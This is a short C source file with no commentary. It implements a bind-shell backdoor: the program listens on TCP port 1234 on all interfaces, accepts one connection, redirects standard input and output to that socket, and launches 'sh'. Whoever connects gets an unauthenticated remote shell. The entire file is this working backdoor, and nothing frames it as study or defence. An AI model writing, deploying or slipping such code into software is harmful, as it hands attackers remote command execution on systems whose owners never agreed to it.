#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>

#define PORT 1234

main ()
{
  int  one=1;
  struct sockaddr_in sa;

  int Asd,len,sd;


  if ((sd = socket (AF_INET, SOCK_STREAM, 0)) < 0) {
	perror ("socket");
	exit (1);
  }
  setsockopt(sd,SOL_SOCKET,SO_REUSEADDR,(char *)&one,sizeof(one));
  sa.sin_family = AF_INET;
  sa.sin_port = htons ((u_short) PORT);
  sa.sin_addr.s_addr = htonl (INADDR_ANY);

  if (bind (sd, (struct sockaddr *) &sa, sizeof (sa)) < 0) {
	perror ("bind");
	exit (2);
  }

  if (listen (sd, 1) < 0) {
	perror ("listen");
	exit (3);
  }
  len = sizeof (sa);

  if ((Asd = accept (sd, (struct sockaddr *) &sa, &len)) < 0) {
	perror ("accept");
	exit(4);
  }
  printf("HERE\n");

  if (dup2(dup2(Asd,1),0)==-1) perror("Dup2");

  system("sh");


}